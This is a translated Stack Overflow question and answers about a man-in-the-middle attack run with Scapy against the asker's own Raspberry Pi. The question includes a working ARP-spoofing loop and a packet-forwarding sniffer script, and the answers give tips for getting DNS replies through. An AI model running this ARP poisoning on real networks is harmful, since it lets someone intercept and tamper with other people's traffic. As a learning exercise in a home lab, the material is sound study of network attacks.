Scapy 转发数据包

3

我正在学习使用Scapy编写Python代码。我阅读并使用了书籍《Network Hacks-Intensivkurs-Angriff und Verteidigung mit Python》(德文)。

我想尝试使用ARP欺骗进行中间人攻击。我有我的计算机、受害者(我的树莓派)和标准网关。

为了进行欺骗,我使用了书中的代码片段。

#!/usr/bin/python

import sys
import time
from scapy.all import sniff, sendp, ARP, Ether

if len(sys.argv) < 3:
    print sys.argv[0] + " <target> <spoof_ip>"
    sys.exit(0)

iface = "wlan1"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]

ethernet = Ether()
arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ethernet / arp

while True:
    sendp(packet, iface=iface)
    time.sleep(10)

它起作用了,我的受害者显示我的MAC地址作为网关。 受害者发送带有正确IP但我的MAC地址的数据包。 现在,受害者应该打开一个网站(wget http//example.com),我想使用Wireshark读取流量。但是我必须重定向数据包(DNS和TCP/HTTP)。我尝试使用以下代码:

#!/etc/usr/python

from scapy.all import *
import sys

iface = "wlan1"
filter = "ip"
VICTIM_IP = "192.168.2.108"
MY_IP = "192.168.2.104"
GATEWAY_IP = "192.168.2.1"
VICTIM_MAC = "### don't want so show###"
MY_MAC = "### don't want so show###"
GATEWAY_MAC = "### don't want so show###"

def handle_packet(packet):
    if (packet[IP].dst == GATEWAY_IP) and (packet[Ether].dst == MY_MAC):
        packet[Ether].dst = GATEWAY_MAC
        sendp(packet)

        print "A packet from " + packet[IP].src + " redirected!"

sniff(prn=handle_packet, filter=filter, iface=iface, store=0)

Wireshark显示了一个正确的数据包(IP源地址=受害者IP地址,IP目标地址=网关IP地址,MAC源地址=受害者MAC地址,MAC目标地址=网关MAC地址)。网关是一个DSL路由器,也是一个“DNS服务器”。

但是我的树莓派没有收到DNS响应。我做错了什么?

此致

MatStorm


你的攻击者使用 Wireshark 工具是否显示了 DNS 响应? - nmichaels
2个回答

0

检查伪造DNS服务器接口是否开启了监视模式。我无法从您的代码中看出是否已执行此操作,只是一个快速提示。我将在睡眠后仔细查看并能够直接看到。上次我进行欺骗时,我有一根以太网电缆与路由器中的互联网和WLAN上的监视模式。如果我尝试不使用它,会显示一些想要的信息,但不正确,无法确定我做了什么来修复它。祝你好运。


如果缓存没有为192.168.x.x生成结果,则计算机1必须发送广播ARP请求消息(目标MAC地址为FF:FF:FF:FF:FF:FF),所有本地网络上的计算机都会接受此请求并请求回答192.168.x.x。 - Stian Diehard

0
Scapy 并未自动处理防火墙问题;在这种情况下,最好关闭攻击主机的主机防火墙。你所构造的数据包并不使用常规路径。
另外,当你转发数据包时,是否翻译了源地址,以便响应返回给你?我在代码中没有看到这一点...

取决于情况。通常情况下,Scapy可以绕过防火墙。 - Cukic0d

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接